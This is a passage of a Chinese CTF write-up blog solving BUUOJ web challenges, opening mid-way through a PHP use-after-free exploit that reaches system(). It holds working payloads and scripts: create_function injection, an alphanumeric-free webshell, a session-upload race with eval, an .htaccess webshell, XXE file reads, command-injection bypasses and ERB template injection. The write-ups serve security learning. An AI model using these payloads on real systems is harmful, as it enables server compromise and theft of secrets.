; $i ++) { $addr = $start - 0x1000 * $i ; $leak = leak ($addr , 0 , 7 ); if ($leak == 0x10102464c457f ) { return $addr ; } } } function get_system ($basic_funcs ) { $addr = $basic_funcs ; do { $f_entry = leak ($addr ); $f_name = leak ($f_entry , 0 , 6 ); if ($f_name == 0x6d6574737973 ) { return leak ($addr + 8 ); } $addr += 0x20 ; } while ($f_entry != 0 ); return false ; } function trigger_uaf ($arg ) { $arg = str_shuffle (str_repeat ('A' , 79 )); $vuln = new Vuln (); $vuln ->a = $arg ; } if (stristr (PHP_OS, 'WIN' )) { die ('This PoC is for *nix systems only.' ); } $n_alloc = 10 ; $contiguous = []; for ($i = 0 ; $i < $n_alloc ; $i ++) $contiguous [] = str_shuffle (str_repeat ('A' , 79 )); trigger_uaf ('x' ); $abc = $backtrace [1 ]['args' ][0 ]; $helper = new Helper ; $helper ->b = function ($x ) { }; if (strlen ($abc ) == 79 || strlen ($abc ) == 0 ) { die ("UAF failed" ); } $closure_handlers = str2ptr ($abc , 0 ); $php_heap = str2ptr ($abc , 0x58 ); $abc_addr = $php_heap - 0xc8 ; write ($abc , 0x60 , 2 ); write ($abc , 0x70 , 6 ); write ($abc , 0x10 , $abc_addr + 0x60 ); write ($abc , 0x18 , 0xa ); $closure_obj = str2ptr ($abc , 0x20 ); $binary_leak = leak ($closure_handlers , 8 ); if (!($base = get_binary_base ($binary_leak ))) { die ("Couldn't determine binary base address" ); } if (!($elf = parse_elf ($base ))) { die ("Couldn't parse ELF header" ); } if (!($basic_funcs = get_basic_funcs ($base , $elf ))) { die ("Couldn't get basic_functions address" ); } if (!($zif_system = get_system ($basic_funcs ))) { die ("Couldn't get zif_system address" ); } $fake_obj_offset = 0xd0 ; for ($i = 0 ; $i < 0x110 ; $i += 8 ) { write ($abc , $fake_obj_offset + $i , leak ($closure_obj , $i )); } write ($abc , 0x20 , $abc_addr + $fake_obj_offset ); write ($abc , 0xd0 + 0x38 , 1 , 4 ); write ($abc , 0xd0 + 0x68 , $zif_system ); ($helper ->b)($cmd ); exit (); }
包含这个文件拿到flag
[BJDCTF2020]EzPHP 进入环境,主页看看有什么突破点,随便点点 看看源代码 发现这个网络威胁实时地图是引用的一个链接的,应该没有什么突破点 这边给了个注释 base64解码不成功 base32解码可行 解码出1nD3x.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <?php highlight_file(__FILE__); error_reporting(0 ); $file = "1nD3x.php" ; $shana = $_GET['shana']; $passwd = $_GET['passwd']; $arg = ''; $code = ''; echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>" ;if ($_SERVER) { if ( preg_match('/shana|debu |aqua |cute |arg |code |flag |system |exec |passwd |ass |eval |sort |shell |ob |start |mail |\$|sou |show |cont |high |reverse |flip |rand |scan |chr |local |sess |id |source |arra |head |light |read |inc |info |bin |hex |oct |echo |print |pi |\.|\"|\'|log /i', $_SERVER['QUERY_STRING']) ) die('You seem to want to do something bad?'); }if (!preg_match('/http|https /i', $_GET['file'])) { if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file" ]; echo "Neeeeee! Good Job!<br>" ; } } else die('fxck you! What do you want to do ?!');if ($_REQUEST) { foreach($_REQUEST as $value) { if (preg_match('/[a-zA-Z]/i', $value)) die('fxck you! I hate English!'); } } if (file_get_contents($file) !== 'debu_debu_aqua') die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>" );if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){ extract($_GET["flag" ]); echo "Very good! you know my password. But what is flag?<br>" ; } else { die("fxck you! you don't know my password! And you don't know sha1! why you come here!" ); }if (preg_match('/^[a-z0-9 ]*$/isD', $code) || preg_match ('/fil|cat |more |tail |tac |less |head |nl |tailf |ass |eval |sort |shell |ob |start |mail |\`|\{|\%|x |\&|\$|\*|\||\<|\"|\'|\=|\?|sou |show |cont |high |reverse |flip |rand |scan |chr |local |sess |id |source |arra |head |light |print |echo |read |inc |flag |1f |info |bin |hex |oct |pi |con |rot |input |\.|log |\^/i ', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=" ); } else { include "flag.php" ; $code('', $arg); } ?>
大概看一下代码,需要一步步绕过到达最后,利用$code(‘’,$arg)进行create_function注入 先绕过第一个if
1 2 3 4 5 6 if($_SERVER) { if ( preg_match('/shana|debu |aqua |cute |arg |code |flag |system |exec |passwd |ass |eval |sort |shell |ob |start |mail |\$ |sou |show |cont |high |reverse |flip |rand |scan |chr |local |sess |id |source |arra |head |light |read |inc |info |bin |hex |oct |echo |print |pi |\. |\" |\' |log/i', $_SERVER['QUERY_STRING']) ) die('You seem to want to do something bad?'); }
这里介绍了$_SERVER的四个变量传送门 $_SERVER[‘QUERY_STRING’]表示输入的变量以及值 本地测试一下
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php $shana = $_GET ['shana' ];$passwd = $_GET ['passwd' ];$s = $_POST ['s' ];echo "this is " .$shana ."<br>" ;echo "this is " .$passwd ."<br>" ;echo "this is " .$s ."<br>" ;$queryString = $_SERVER ['QUERY_STRING' ];echo $queryString ."<br>" ;?>
将GET修改一下,进行url编码
1 ?shana= 123 &passwd= %34 %35 %36 s= %37 %38 %39
发现GET传参的时候会对get传的参数进行url编码,但是$_SERVER[‘QUERY_STRING’]却不会。 所以说对于第一个if的所有字母和字符,都可以用url编码进行绕过
再看第二个if
1 2 3 4 5 6 if (!preg_match ('/http|https/i' , $_GET ['file' ])) { if (preg_match ('/^aqua_is_cute$/' , $_GET ['debu' ]) && $_GET ['debu' ] !== 'aqua_is_cute' ) { $file = $_GET ["file" ]; echo "Neeeeee! Good Job!<br>" ; } } else die ('fxck you! What do you want to do ?!' );
先看第二个if ^$表示匹配首尾 由于preg_match这个函数是只能匹配一行的数据,所以我们可以用%0a(换行符)来绕过 这是因为$会忽略换行符 payload
1 ?file =1 &%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a
这里因为debu被第一个if过滤,所以url编码绕过一下
再来看第三个if
1 2 3 4 5 6 if ($_REQUEST ) { foreach ($_REQUEST as $value ) { if (preg_match ('/[a-zA-Z]/i' , $value )) die ('fxck you! I hate English!' ); } }
$_REQUEST在同时接收GET和POST参数时,POST优先级更高
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php $shana = $_GET ['shana' ];$passwd = $_GET ['passwd' ];$s = $_POST ['s' ];echo "shana is " .$shana ."<br>" ;echo "passwd is " .$passwd ."<br>" ;echo "s is " .$s ."<br>" ;foreach ($_REQUEST as $key => $value ) { echo "Key: " . $key . ", Value: " . $value . "<br>" ; }?>
对于这个if
再看第四个if
1 2 if !== 'debu_debu_aqua' ) die;
用data伪协议绕过data://text/plain,debu_debu_aqua
1 file= %64 %61 %74 %61 %3 a%2 f%2 f%74 %65 %78 %74 %2 f%70 %6 c %61 %69 %6 e%2 c %64 %65 %62 %75 %5 f%64 %65 %62 %75 %5 f%61 %71 %75 %61
第五个if
1 2 3 4 5 6 if ( sha1($s hana) === sha1($p asswd) && $s hana != $p asswd ){ extract($_ GET[]); echo ; } else{ die(); }
sha1()函数无法处理数组,shana和passwd都是数组时都是false$shana[]=1&passwd[]=2
第一个if把shana和passwd过滤了,url编码绕过(GET传参时GET里面参数的[]和连接变量的&还有给变量赋值的=编码后GET传参时不会被解码)
1 % 73 % 68 % 61 % 6 e% 61 []=1 &% 70 % 61 % 73 % 73 % 77 % 64 []=2
最后一个if
1 2 3 4 5 6 7 if(preg_match('/^[a-z0-9]* $/isD', $code) || preg_match('/fil |cat |more |tail |tac |less |head |nl |tailf |ass |eval |sort |shell |ob |start |mail |\` |\{ |\% |x |\& |\$ |\* |\ ||\< |\" |\' |\= |\? |sou |show |cont |high |reverse |flip |rand |scan |chr |local |sess |id |source |arra |head |light |print |echo |read |inc |flag |1f |info |bin |hex |oct |pi |con |rot |input |\. |log |\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); } else { include "flag.php"; $code('', $arg); }
看回前面
1 2 3 4 5 $file = "1nD3x.php" $shana = $_GET['shana' ] $passwd = $_GET['passwd' ] $arg = '' $code = ''
code与arg的值都为空值,正常情况下是不能修改它们的值的,但由于第五个if中的extract()函数,我们就可以对开头处的两个变量进行操控 本地测试一下
1 2 3 4 5 6 7 <?php $arg = '' ;$code = '' ;extract ($_GET ["flag" ]);echo 'arg= ' .$arg ."<br>" ;echo 'code= ' .$code ."<br>" ;?>
因为$code和$arg可控,利用$code(‘’,$arg)进行create_function注入 $arg=}代码;//,则}闭合了函数,同时//注释了后面的内容 构造flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//
1 %66 %6 c %61 %67 [%63 %6 f%64 %65 ]= create_function&%66 %6 c %61 %67 [%61 %72 %67 ]= }var_dump(get_defined_vars())
发现最后
由于第最后一个if处过滤了read所以在这里取反绕过一下
1 echo urlencode(~'php://filter/read =convert.base64-encode/resource =rea1fl4g.php') ;
用require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f)) 替换刚才的var_dump(get_defined_vars())被编码的部分即可。
最终的代码
1 http: //23 ae7090 -b51 b-4e0 b-921 f-964 eaf520e03 .node5 .buuoj.cn:81 /1 nD3 x .php?file= %64 %61 %74 %61 %3 a%2 f%2 f%74 %65 %78 %74 %2 f%70 %6 c %61 %69 %6 e%2 c %64 %65 %62 %75 %5 f%64 %65 %62 %75 %5 f%61 %71 %75 %61 &%64 %65 %62 %75 = %61 %71 %75 %61 %5 f%69 %73 %5 f%63 %75 %74 %65 %0 a&%73 %68 %61 %6 e%61 []= 1 &%70 %61 %73 %73 %77 %64 []= 2 &%66 %6 c %61 %67 [%63 %6 f%64 %65 ]= create_function&%66 %6 c %61 %67 [%61 %72 %67 ]= }require(~(%8 f%97 %8 f%c5 %d0 %d0 %99 %96 %93 %8 b%9 a%8 d%d0 %8 d%9 a%9 e%9 b%c2 %9 c %90 %91 %89 %9 a%8 d%8 b%d1 %9 d%9 e%8 c %9 a%c9 %cb %d2 %9 a%91 %9 c %90 %9 b%9 a%d0 %8 d%9 a%8 c %90 %8 a%8 d%9 c %9 a%c2 %8 d%9 a%9 e%ce %99 %93 %cb %98 %d1 %8 f%97 %8 f))
最后用base64编码解码获得flag
[网鼎杯 2020 半决赛]AliceWebsite 先看看源码,没有给任何提示,dirsearch也扫不出除home和about的其它网址 点击About Me发现url变为index.php?action=about.php 把action后面改为flag.php 页面显示file not found 再试试其它的 用伪协议试试
1 ?action=php:// filter/convert.base64-encode/ resource=flag.php
试试/etc/passwd 可以看到结果 传?action=/flag就完成了 看下源码
1 2 3 4 5 6 7 8 9 10 <?php $action = (isset ($_GET ['action' ]) ? $_GET ['action' ] : 'home.php' ); if (file_exists ($action )) { include $action ; } else { echo "File not found!" ; }?>
因为有file_exists,所以不能用php://filter/read=convert.base64-encode/resource=flag.php伪协议
[GKCTF 2021]easycms 是一个静态网页,点啥都没有用(除了友链),用dirsearch扫一下
发现有admin.php,成功进入登录页面
题目有提示密码是五位弱口令账号密码为admin/12345 登录进来发现可以交互的内容有很多 直接捡重要的来说
任意文件下载 设计->自定义->导出主题->保存
下载下来的文件右键复制下载链接(谷歌复制不下来,不到在哪,用的是火狐)
1 http://7513b6ee-ccd7-4ed5-94b1 -7b5c82cc973b.node5.buuoj.cn:81 /admin.php?m=ui&f=downloadtheme&theme=L3Zhci93d3cvaHRtbC9zeXN0ZW0vdG1wL3RoZW1lL2RlZmF1bHQvMS56aXA=
base64解码后发现theme后面的为文件的绝对路径 我们直接把theme后面替换为/flag,并base64加密
1 http://7513b6ee-ccd7-4ed5-94b1 -7b5c82cc973b.node5.buuoj.cn:81 /admin.php?m=ui&f=downloadtheme&theme=L2ZsYWc=
下载了一个flag.zip压缩包,不用解压缩也不用打开,直接nodepad++打开或者改.txt后缀
文件上传 同样的页面,点击编辑,类型为php源代码 保存的时候要我先创建一个zlsj文件 创建文件位置在设计->组件->素材库->上传素材 本地创建一个txt文件,内容随意 上传文件后编辑它的名称可导致目录穿越创建文件至system目录 保存修改后可以看到文件路径如上,再返回主题处编辑网页头部插入php 这时候就能保存成功了,返回网站主页查看 成功显示flag
[GXYCTF2019]StrongestMind 既然它说了1000次给flag,那就写个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import requestsimport reimport time url = 'http://f3f6839b-dc8a-4924-a329-53c9cf8fdd80.node5.buuoj.cn:81/' data = {"answer" : 1 } a = requests.session()while 1 : b = a.post(url=url, data=data) b.encoding = 'utf-8' num = re.findall(r'(.*?)<br>' , b.text)[6 ] print (num) num1 = eval (num) if num1: data["answer" ] = num1 num2 = re.findall(r'(.*?)<br>' , b.text)[3 ] print (num2) time.sleep(0.05 ) if '第 1001 次成功啦' in b.text: print (b.text) break
[SUCTF 2018]GetShell 页面没有什么明显的信息,看看源码 源码中有一个超链接?index.php?act=upload 进入 看到是文件上传 但是先不急着上传,它旁边给了源码
1 2 3 4 5 6 7 8 if ($contents =file_get_contents ($_FILES ["file" ]["tmp_name" ])){ $data =substr ($contents ,5 ); foreach ($black_char as $b ) { if (stripos ($data , $b ) !== false ){ die ("illegal char" ); } } }
大意是获取文件内容,从第6个字符开始比对黑名单 这里要fuzz一下,看看哪些字符可以使用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import requests as resimport timedef check (url, alph ): header = { 'Host' : '4ba5c0ca-9a4e-4d1e-9e8e-a5cbdc6fccb9.node5.buuoj.cn:81' , 'Content-Type' : 'multipart/form-data; boundary=---------------------------37233154152715907679412218478' } data = """ -----------------------------37233154152715907679412218478 Content-Disposition: form-data; name="file"; filename="1.txt" Content-Type: text/plain 12345{} -----------------------------37233154152715907679412218478 Content-Disposition: form-data; name="submit" -----------------------------37233154152715907679412218478-- """ response = res.post(url, data=data.format (alph).encode('utf-8' ), headers=header) while response.status_code != 200 : time.sleep(0.3 ) response = res.post(url, data=data.format (alph).encode('utf-8' ), headers=header) return response.text url = "http://4ba5c0ca-9a4e-4d1e-9e8e-a5cbdc6fccb9.node5.buuoj.cn:81/index.php?act=upload" alphs = '' for i in range (33 , 127 ): bak = check(url, chr (i)) if bak.find("illegal" , 0 ) == -1 : print ("Can use {}" .format (chr (i))) alphs += chr (i) else : print ("Cn't use {}" .format (chr (i)))print ('[*' + alphs + '*]' )
爆出这些字符可以使用
可以看到数字即英文字母都被过滤了,这里使用特殊的木马构造方式一些不包含数字和字母的webshell 这里我们采用取反的方法 用它的方法构造php一句话木马
1 2 3 4 5 6 7 8 <?=$_ =[];// array$__ =$_ .$_ ;// arrayarray$___ =($_ ==$__ );// array==arrayarray 错误为false$____ = ($_ ==$_ );// array==array相同true$_____ =~(区[$____ ]).~(冈[$____ ]).~(区[$____ ]).~(勺[$____ ]).~(皮[$____ ]).~(针[$____ ]);// system$______ =~(码[$____ ]).~(寸[$____ ]).~(小[$____ ]).~(欠[$____ ]).~(立[$____ ]);// _POST$_____ ($$______ [_]);// system($_POST [_])
去掉换行符和空格
1 <?= $_ =[];$__ =$_ .$_ ;$___ =($_ ==$__ );$____ =($_ ==$_ );$_____ =~(区[$____ ]).~(冈[$____ ]).~(区[$____ ]).~(勺[$____ ]).~(皮[$____ ]).~(针[$____ ]);$______ =~(码[$____ ]).~(寸[$____ ]).~(小[$____ ]).~(欠[$____ ]).~(立[$____ ]);$_____ ($$ ______[_]);
上面代码构造的语句是system($POST[ ]) 这里不能有空格和换行,空格也是黑名单 这里给了地址,直接进 根目录的flag是个假flag 这里可以使用env显示系统中的环境变量来查看flag
[WMCTF2020]Make PHP Great Again 源码
1 2 3 4 5 6 <?php highlight_file (__FILE__ );require_once 'flag.php' ;if (isset ($_GET ['file' ])) { require_once $_GET ['file' ]; }
解法一:
这道题没有使用文件包含考点经常出现的include(),而是requir_once(),这个函数的特点是只包含一次,因为刚才是已经require_once ‘flag.php’ 了,不能再次包含,所以需要绕过require_once(),让它检测传入的文件名哈希值既没有重复,又能读到flag.php这个文件
require_once()在对软连接的操作上存在一些缺陷,软连接层数较多会是hash匹配直接失效造成重复包含,超过20次软链接后可以绕过,外加伪协议编码一下
/proc/self/是只想当前进程的/proc/pid/,而/proc/self/root是指向/(根目录)的软链接,所以让软链接层数变多即可造成重复包含
1 ?file=php:// filter/convert.base64-encode/ resource=/proc/ self/root/ proc/self/ root/proc/ self/root/ proc/self/ root/proc/ self/root/ proc/self/ root/proc/ self/root/ proc/self/ root/proc/ self/root/ proc/self/ root/proc/ self/root/ proc/self/ root/proc/ self/root/ proc/self/ root/proc/ self/root/ proc/self/ root/proc/ self/root/ proc/self/ root/proc/ self/root/ proc/self/ root/proc/ self/root/ proc/self/ root/var/ www/html/ flag.php
解法二:(非预期解)
可以利用PHP_SESSION_UPLOAD_PROGRESS上传文件后进行文件包含:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import io import requests import threading sessid = 'bbbbbbb' data = {"cmd" :"system('cat flag.php');" } def write(session): while True : f = io.BytesIO(b'a' * 1024 * 50) resp = session.post( 'http://aaf83abf-31f4-4680-b042-6d2a60e9810a.node5.buuoj.cn:81/' , data={'PHP_SESSION_UPLOAD_PROGRESS' : '<?php eval($_POST["cmd"]);?>' }, files={'file' : ('1.txt' ,f)}, cookies={'PHPSESSID' : sessid} ) def read(session): while True : resp = session.post('http://aaf83abf-31f4-4680-b042-6d2a60e9810a.node5.buuoj.cn:81/?file=/tmp/sess_' +sessid,data =data) if '1.txt' in resp.text: print (resp.text) event.clear() else : print ("[+++++++++++++]retry" )if __name__ =="__main__": event =threading.Event() with requests.session() as session: for i in range(1,30): threading.Thread(target =write,args=(session,)).start() for i in range(1,30): threading.Thread(target =read,args=(session,)).start() event.set ()
EasyBypass 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php highlight_file (__FILE__ );$comm1 = $_GET ['comm1' ];$comm2 = $_GET ['comm2' ];if (preg_match ("/\'|\`|\\|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is" , $comm1 )) $comm1 = "" ;if (preg_match ("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||ls|\||tail|more|cat|string|bin|less||tac|sh|flag|find|grep|echo|w/is" , $comm2 )) $comm2 = "" ;$flag = "#flag in /flag" ;$comm1 = '"' . $comm1 . '"' ;$comm2 = '"' . $comm2 . '"' ;$cmd = "file $comm1 $comm2 " ;system ($cmd );?>
绕过题,最终要利用system命令,因为file命令打不开文件,只能判别文件的类型,因此我们在comm1中要利用引号和分号来进行命令的控制。 仔细一看可以发现第一个过滤比第二个过滤少,可以发现反向输出tac 头几行输出head 读取文件sort都没有过滤,flag被过滤了,我们可以用模糊匹配来进行替代,因此我们可以利用了 因为第二个过滤里面过滤了分号 双引号 因此我们要在comm1参数里面做文章 构造如下
1 2 3 4 5 6 /?comm1=";sort+/fla?;" &comm2=1 利用第一个分号来将comm1前面的双引号拼接闭合,后面那个分号将后面的闭合 不闭合的话到cmd 里面语句会变成 "file" ;sort……"" 闭合后cmd 语句应该是 cmd ="file;sort+/fla?;" 1""
file后面可以加一个index.php,不加也没事,因为分号;不会因为前面的命令执行对错而影响后面的
还有好多可以替代cat的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 cat /flag tac /flag head /flag tail /flag more /flag less /flag od -c /flag fmt /flag rev /flag tailf /flag nl /*1 .od /*2 .python执行 s = '000000 0 066146 063541 062573 061470 063066 030070 026463 063142 000002 0 061065 032055 033071 026460 033070 031546 034455 030471 000004 0 061070 060463 030465 031463 076461 000012 000005 3' print(b''.join(int(ss, 8 ).to_bytes(2 , 'little') for ss in s.split()))
都可以看到flag中的内容
[极客大挑战 2020]Roamphp1-Welcome
重新加载了几遍,还是405 去搜搜405是啥意思 得到的结果是 1:请求方法错误,如:post 用了get 请求方式 2:请求的路径根本不对,也会出现405
那么我们post一个参数id ok页面恢复正常
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php error_reporting (0 );if ($_SERVER ['REQUEST_METHOD' ] !== 'POST' ) {header ("HTTP/1.1 405 Method Not Allowed" );exit (); } else { if (!isset ($_POST ['roam1' ]) || !isset ($_POST ['roam2' ])){ show_source (__FILE__ ); } else if ($_POST ['roam1' ] !== $_POST ['roam2' ] && sha1 ($_POST ['roam1' ]) === sha1 ($_POST ['roam2' ])){ phpinfo (); } }
还以为是sha1碰撞,没啥用,可以用数组绕过,sha1()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。
1 2 POST roam1 []=12 &roam2[]=23
在phpinfo里找flag
[CSAWQual 2019]Web_Unagi 本题需要上传一个xml文件 here给出了xml的格式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?xml version="1.0" ?> <!DOCTYPE a [ <!ENTITY admin SYSTEM "file:///flag" > ]> <users > <user > <username > bob</username > <password > passwd2</password > <name > Bob</name > <email > bob@fakesite.com</email > <group > &admin; </group > </user > </users >
奇怪的是复现的时候同样的代码竟然被拦了,换成utf-16就好了,但是当时这点使用的utf-8的
查了如何绕过WAF保护的XXE的资料:
一个xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码。
在这种编码的帮助下,使用正则表达式可以很容易地绕过WAF,因为在这种类型的WAF中,正则表达式通常仅配置为单字符集。
可以看到flag显示的不全 这里多了个参数。把它加上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?xml version="1.0" ?> <!DOCTYPE a [ <!ENTITY admin SYSTEM "file:///flag" > ]> <users > <user > <username > bob</username > <password > passwd2</password > <name > Bob</name > <email > bob@fakesite.com</email > <group > CSAW2019</group > <intro > &admin; </intro > </user > </users >
[FireshellCTF2020]Caas 不是很明白是什么编译器 先随便输了点 wp说是c语言编译器 输入
1 2 3 4 5 6 #include <stdio.h> int main () { printf ("Hello, World! \n" ); return 0 ; }
下载了一个文件,啥都没有 这里有文件包含 猜测flag应该是以文件形式存在服务器中,尝试使用#include ‘’预处理命令,引入文件/etc/passwd,构造代码:
报错提示了应该为双引号
显示了一些,证明存在文件包含
[SCTF2019]Flag Shop
买flag,reset是重置Jinkela,work是让钱增加一定的数量,这题肯定不可能是这样让钱够的。看一下cookie,发现好像是jwt,解码一下: jkI是存储在jwt里面的,所以这题很明显是要伪造jwt才能让钱足够来购买flag了。 这题的jwt是HS256算法,尝试了一下无算法,弱密钥爆破等都不行。 转变思路 这题有robots.txt文件,里面指向了一个页面
1 2 User-agent : *Disallow : /filebak
进入可看到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 require 'sinatra' require 'sinatra/cookies' require 'sinatra/json' require 'jwt' require 'securerandom' require 'erb' set :public_folder , File .dirname(__FILE__ ) + '/static' FLAGPRICE = 1000000000000000000000000000 ENV ["SECRET" ] = SecureRandom .hex(64 ) configure do enable :logging file = File .new(File .dirname(__FILE__ ) + '/../log/http.log' ,"a+" ) file.sync = true use Rack : :CommonLogger , fileend get "/" do redirect '/shop' , 302 end get "/filebak" do content_type :text erb IO .binread __FILE__ end get "/api/auth" do payload = { uid: SecureRandom .uuid , jkl: 20 } auth = JWT .encode payload,ENV ["SECRET" ] , 'HS256' cookies[:auth ] = authend get "/api/info" do islogin auth = JWT .decode cookies[:auth ],ENV ["SECRET" ] , true , { algorithm: 'HS256' } json({uid: auth[0 ]["uid" ],jkl: auth[0 ]["jkl" ]})end get "/shop" do erb :shop end get "/work" do islogin auth = JWT .decode cookies[:auth ],ENV ["SECRET" ] , true , { algorithm: 'HS256' } auth = auth[0 ] unless params[:SECRET ].nil ? if ENV ["SECRET" ].match("#{params[:SECRET ].match(/[0-9a-z]+/ )} " ) puts ENV ["FLAG" ] end end if params[:do ] == "#{params[:name ][0 ,7 ]} is working" then auth["jkl" ] = auth["jkl" ].to_i + SecureRandom .random_number(10 ) auth = JWT .encode auth,ENV ["SECRET" ] , 'HS256' cookies[:auth ] = auth ERB : :new ("<script>alert('#{params[:name ][0 ,7 ]} working successfully!')</script>" ).result end end post "/shop" do islogin auth = JWT .decode cookies[:auth ],ENV ["SECRET" ] , true , { algorithm: 'HS256' } if auth[0 ]["jkl" ] < FLAGPRICE then json({title: "error" ,message: "no enough jkl" }) else auth << {flag: ENV ["FLAG" ]} auth = JWT .encode auth,ENV ["SECRET" ] , 'HS256' cookies[:auth ] = auth json({title: "success" ,message: "jkl is good thing" }) end end def islogin if cookies[:auth ].nil ? then redirect to('/shop' ) end end
送给chat说这是ruby语言
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 get "/work" do islogin auth = JWT .decode cookies[:auth ],ENV ["SECRET" ] , true , { algorithm: 'HS256' } auth = auth[0 ] unless params[:SECRET ].nil ? if ENV ["SECRET" ].match("#{params[:SECRET ].match(/[0-9a-z]+/ )} " ) puts ENV ["FLAG" ] end end if params[:do ] == "#{params[:name ][0 ,7 ]} is working" then auth["jkl" ] = auth["jkl" ].to_i + SecureRandom .random_number(10 ) auth = JWT .encode auth,ENV ["SECRET" ] , 'HS256' cookies[:auth ] = auth ERB : :new ("<script>alert('#{params[:name ][0 ,7 ]} working successfully!')</script>" ).result end end
主要代码是这段 这里有用到erb模板注入
1 2 3 4 5 unless params[:SECRET ].nil ? if ENV ["SECRET" ].match("#{params[:SECRET ].match(/[0-9a-z]+/ )} " ) puts ENV ["FLAG" ] end end
这里要是 SECRET 参数存在则对其进行匹配,匹配到了就输出flag 但这里既然有匹配,就可以用全局变量读出来了,也就是用 $` 来读取匹配前的内容
如果传入的参数do和name一致,则会输出{params[:name][0,7]}
working successfully! 使用Ruby的预定义变量$’(最后一次成功匹配右边的字符串) 正常传的话
只要满足了这个if if params[:do] == "#{params[:name][0,7]} is working" then
,就会进行模板渲染。 具体参考这个文章【技术分享】手把手教你如何完成Ruby ERB模板注入 但是这题有长度的限制,除去<%=%>,就只剩下2个字符可用了。可以用ruby的预定义变量预定义变量 使用Ruby的预定义变量$’(最后一次成功匹配右边的字符串)
构造一下payload
1 /work?SECRET=&name=<%=$'%>&do =<%=$'%> is working
直接用会报错 url编码一下
1 /work?SECRET= &name= %3 c %25 %3 d%24 %27 %25 %3 e&do= %3 c %25 %3 d%24 %27 %25 %3 e%20 is%20 working
这样secret密钥就出来了,对JWT进行修改加密 对cookie内容替换 值成功改变 buy flag 没有直接回显flag 再买下flag 可以看到cookies的值明显多了 JWT解密一下
[羊城杯2020]easyphp 先看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php $files = scandir ('./' ); foreach ($files as $file ) { if (is_file ($file )){ if ($file !== "index.php" ) { unlink ($file ); } } } if (!isset ($_GET ['content' ]) || !isset ($_GET ['filename' ])) { highlight_file (__FILE__ ); die (); } $content = $_GET ['content' ]; if (stristr ($content ,'on' ) || stristr ($content ,'html' ) || stristr ($content ,'type' ) || stristr ($content ,'flag' ) || stristr ($content ,'upload' ) || stristr ($content ,'file' )) { echo "Hacker" ; die (); } $filename = $_GET ['filename' ]; if (preg_match ("/[^a-z\.]/" , $filename ) == 1 ) { echo "Hacker" ; die (); } $files = scandir ('./' ); foreach ($files as $file ) { if (is_file ($file )){ if ($file !== "index.php" ) { unlink ($file ); } } } file_put_contents ($filename , $content . "\nHello, world" );?>
1 2 3 4 5 6 7 foreach($ files as $ file ) { if (is_file($ file )){ if ($ file !== "index.php" ) { unlink($ file ); } } }
除index.php的文件会被删除
还有这一段值得注意
1 2 3 4 if (preg_match ("/[^a-z\.]/" , $filename ) == 1 ) { echo "Hacker" ; die (); }
这里是取反并不是匹配第一个字符,所以不是换行绕过,这里表示如果匹配除a-z和.外的所有字符都会返回1
本题利用的是file_put_contents这一函数,我们需要通过文件上传一个.htaccess来绕过过滤并执行命令 .htaccess 把.htaccess加载到php文件的前面,这边的话以注释的方法来写shell
1 2 php_value auto_append_file .htaccess # <?php phpinfo ();
虽然过滤了file,但我们可以用\来绕过,#应该是.hatccess文件特有的写入形式,没有的话会直接报错500
1 2 3 php_value auto_prepend_fil\ e .htaccess # <?php system ('cat /fla' .'g' );?> \
末尾加个\是为了转义\n,如果不加就会变为下面这种,不符合.htaccess的规则
1 2 3 4 php_value auto_prepend_fil\ e .htaccess # <?php system ('cat /fla' .'g' );?> Hello, world
再末尾价格反斜杠会把\n前面的\给转义掉,这样就变为了如下这样:
1 2 3 php_value auto_prepend_fil\ e .htaccess # <?php system ('cat /fla' .'g' );?> nHello, world
payload
